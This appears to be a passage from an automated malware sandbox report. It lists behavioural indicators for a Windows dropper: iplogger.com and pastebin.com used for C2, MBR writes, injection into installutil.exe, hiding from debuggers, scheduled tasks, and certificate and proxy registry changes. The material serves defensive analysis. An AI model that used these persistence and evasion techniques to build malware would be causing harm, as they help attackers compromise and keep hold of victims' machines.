File opened (read-only) \??\u: C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
File opened (read-only) \??\F: C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe N/A

Installs/modifies Browser Helper Object

stealer adware
Description Indicator Process Target
Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{B69F34DD-F0F9-42DC-9EDD-957187DA688D} C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (int) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\explorer\Browser Helper Objects\{B69F34DD-F0F9-42DC-9EDD-957187DA688D}\NoExplorer = "1" C:\Windows\SysWOW64\regsvr32.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A iplogger.com N/A N/A
N/A iplogger.com N/A N/A
N/A pastebin.com N/A N/A
N/A pastebin.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ipinfo.io N/A N/A
N/A ipinfo.io N/A N/A
N/A api.myip.com N/A N/A
N/A api.myip.com N/A N/A

Maps connected drives based on registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe N/A

Writes to the Master Boot Record (MBR)

bootkit persistence
Description Indicator Process Target
File opened for modification \??\PhysicalDrive0 C:\Users\Admin\Pictures\nOE5uaInN74Siuzk89nsXcIl.exe N/A
File opened for modification \??\PhysicalDrive0 C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File opened for modification \??\PhysicalDrive0 C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe N/A
File opened for modification \??\PhysicalDrive0 C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
File opened for modification \??\PhysicalDrive0 C:\Program Files (x86)\360\Total Security\safemon\PopWndLog.exe N/A
File opened for modification \??\PhysicalDrive0 C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\System32\GroupPolicy\GPT.INI C:\Users\Admin\Pictures\syxWFssEjg8Q0zED4zads7OJ.exe N/A
File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_05B056B983E25E9B4D43BC3D9283D686 C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
File opened for modification \??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
File opened for modification \??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\265C0DEB29181DD1891051371C5F863A_242CEA72AD255CEF17D8B88AD3038326 C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
File opened for modification \??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
File opened for modification \??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_05B056B983E25E9B4D43BC3D9283D686 C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
File opened for modification C:\Windows\System32\GroupPolicy C:\Users\Admin\Pictures\syxWFssEjg8Q0zED4zads7OJ.exe N/A
File opened for modification C:\Windows\System32\GroupPolicy\gpt.ini C:\Users\Admin\Pictures\syxWFssEjg8Q0zED4zads7OJ.exe N/A
File created C:\Windows\System32\GroupPolicy\Machine\Registry.pol C:\Users\Admin\Pictures\syxWFssEjg8Q0zED4zads7OJ.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\360WD\wdch.dat-journal C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F07644E38ED7C9F37D11EEC6D4335E02_91E41FAE8B0B67645773C1C9A8DB10E4 C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
File opened for modification \??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification \??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\265C0DEB29181DD1891051371C5F863A_242CEA72AD255CEF17D8B88AD3038326 C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\F07644E38ED7C9F37D11EEC6D4335E02_91E41FAE8B0B67645773C1C9A8DB10E4 C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat C:\Windows\SysWOW64\rundll32.exe N/A
File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\360WD\wdch.dat C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
File opened for modification C:\Windows\system32\GroupPolicy\Machine\Registry.pol C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT\frDbhUXJJbPEeVC\AvSYvqx.exe N/A
File opened for modification C:\Windows\system32\GroupPolicy\gpt.ini C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT\frDbhUXJJbPEeVC\AvSYvqx.exe N/A
File opened for modification \??\c:\windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of NtSetInformationThreadHideFromDebugger

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\24e7c8cea0b5787de8f92ae97a8f50c1de5da0e440abe84b9657d0c62d3e518a.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\1b29d73536\axplont.exe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 948 set thread context of 1416 N/A C:\Users\Admin\AppData\Local\Temp\1000020001\file300un.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe

Drops file in Program Files directory

Description Indicator Process Target
File created C:\Program Files (x86)\360\Total Security\i18n\zh-TW\safemon\wd.ini C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\cacert.dat C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\config\lang\ru\SysSweeper.ui.dat C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\filemon\360AvFlt.sys C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\safemon\SomProxy.dll C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\i18n\pl\safemon\drvmon.dat C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\i18n\ru\libsdi.dat C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\i18n\fr\safemon\360SafeCamera.tpi.locale C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\safemon\SelfProtectAPI2.dll C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\i18n\vi\deepscan\DsRes.dll C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\i18n\de\libdefa.dat C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\i18n\zh-CN\ipc\appd.dll.locale C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\i18n\ru\ipc\filemgr.dll.locale C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\i18n\ru\deepscan\dsr.dat C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\MiniUI.dll C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File opened for modification C:\Program Files (x86)\360\Total Security\deepscan\netconf.dat C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe N/A
File created C:\Program Files (x86)\360\Total Security\i18n\hi\libvi.dat C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\i18n\it\safemon\udisk.locale C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\ipc\360Box64_old.sys C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File opened for modification C:\Program Files (x86)\360\Total Security\deepscan\speedmem2.hg-journal C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
File opened for modification C:\Program Files (x86)\360\Total Security\safemon\routertp.ini C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe N/A
File created C:\Program Files (x86)\360\Total Security\i18n\ru\ipc\appmon.dat C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\safemon\execrule.dat C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\softmgr\SML\Skin\SML_TaskBar.uiz C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\safemon\wdui3.dll C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\safemon\swverify32.dll C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File opened for modification C:\Program Files (x86)\360\Total Security\netmon\netdrv\x64\360netmon_x64_old.sys C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\i18n\de\safemon\UDiskScanEngine.dll.locale C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\i18n\tr\ipc\yhregd.dll.locale C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\sweeper\Tracehelper.exe C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\deepscan\QVM\360AQVM.dll C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\safemon\spsafe.dll C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\i18n\ru\safemon\spsafe64.dll.locale C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\i18n\vi\safemon\spsafe64.dll.locale C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\i18n\ja\ipc\Sxin64.dll.locale C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\Utils\PopTip.exe C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\i18n\it\safemon\wd.ini C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\360DeskAna.exe C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\safemon\PopWndTracker.exe C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\i18n\tr\safemon\spsafe64.dll.locale C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\deepscan\360netcfg.exe C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\safemon\360disproc64_win10.sys C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\i18n\vi\ipc\360netd.dat C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\i18n\en\LibSDI.dat C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\i18n\fr\ipc\filemgr.dll.locale C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\Utils\DuplicateFile.exe C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\config\newui\themes\default\DuplicateFile\DuplicateFile_theme.ui C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\ipc\360Camera64.sys C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\nFLFFjqrQPUn\LBYAlZN.dll C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
File created C:\Program Files (x86)\360\Total Security\i18n\pt\ipc\360netd.dat C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\i18n\en\safemon\drvmon.dat C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\i18n\de\ipc\regmon.dat C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\softmgr\data\SoftDetect.dat C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\ipc\360AntiHacker.dll C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\netmon\sysoptm.dll C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\i18n\tr\ipc\appd.dll.locale C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\i18n\tr\safemon\SelfProtectAPI2.dll.locale C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\i18n\zh-CN\safemon\udisk.locale C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\i18n\zh-CN\safemon\wdi18n.sign C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\safemon\disproc.dll C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\i18n\es\deepscan\art.dat C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\i18n\it\safemon\Safemon64.dll.locale C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
File created C:\Program Files (x86)\360\Total Security\i18n\fr\safemon\udisk.locale C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A

Drops file in Windows directory

Description Indicator Process Target
File created C:\Windows\Tasks\jiLwFdOzPPQiWLm.job C:\Windows\SysWOW64\schtasks.exe N/A
File created C:\Windows\Tasks\QdCYtDviHOrgqJLgZ.job C:\Windows\SysWOW64\schtasks.exe N/A
File created C:\Windows\Tasks\axplont.job C:\Users\Admin\AppData\Local\Temp\24e7c8cea0b5787de8f92ae97a8f50c1de5da0e440abe84b9657d0c62d3e518a.exe N/A
File opened for modification C:\Windows\INF\setupapi.app.log C:\Program Files (x86)\360\Total Security\modules\KB931125-rootsupd.exe N/A
File created C:\Windows\Tasks\bqGGCwwWIommTRgeuN.job C:\Windows\SysWOW64\schtasks.exe N/A
File created C:\Windows\Tasks\WKALCIrwIEiqhKBsn.job C:\Windows\SysWOW64\schtasks.exe N/A

Enumerates physical storage devices

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files (x86)\1717117663_0\360TS_Setup.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Users\Admin\AppData\Local\Temp\7zS3E38.tmp\Install.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Users\Admin\AppData\Local\Temp\7zS3E38.tmp\Install.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Windows\SysWOW64\rundll32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Windows\SysWOW64\rundll32.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files (x86)\360\Total Security\safemon\QHSafeTray.exe N/A
Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main C:\Users\Admin\AppData\Local\Temp\f76669f\download.exe N/A

Modifies data under HKEY_USERS

Description Indicator Process Target
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing C:\Windows\SysWOW64\wscript.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\56-c1-9b-33-fc-2f C:\Windows\SysWOW64\rundll32.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1" C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:" C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\360Safe\360Scan C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0" C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT\frDbhUXJJbPEeVC\AvSYvqx.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0" C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ C:\Windows\SysWOW64\wscript.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\56-c1-9b-33-fc-2f\WpadDecisionTime = f072431ef7b2da01 C:\Windows\SysWOW64\rundll32.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{4B1F7EFC-BE73-4314-AFE9-A7FCF1AF7D21}\WpadDecisionReason = "1" C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{4B1F7EFC-BE73-4314-AFE9-A7FCF1AF7D21}\WpadDecision = "0" C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings C:\Windows\SysWOW64\rundll32.exe N/A
Set value (str) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix C:\Windows\SysWOW64\rundll32.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\56-c1-9b-33-fc-2f C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings C:\Windows\SysWOW64\rundll32.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\56-c1-9b-33-fc-2f\WpadDecisionReason = "1" C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root C:\Windows\Temp\ZmzskowerwXEonlG\JfkETvmUyRlgORK\aeFexZt.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
Key created \REGISTRY\USER\.DEFAULT\Software C:\Program Files (x86)\360\Total Security\safemon\QHActiveDefense.exe N/A
Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{6C467336-8281-4E60-8204-430CED96822D} {000214E4-0000-0000-C000-000000000046} 0xFFFF = 0100000000000000309d5709f7b2da01 C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT\frDbhUXJJbPEeVC\AvSYvqx.exe N/A
Set value (int) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1" C:\Users\Admin\AppData\Local\Temp\SiHRhjyUhlpwxPXaT\frDbhUXJJbPEeVC\AvSYvqx.exe N/A
Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft C:\Windows\SysWOW64\wscript.exe N/A
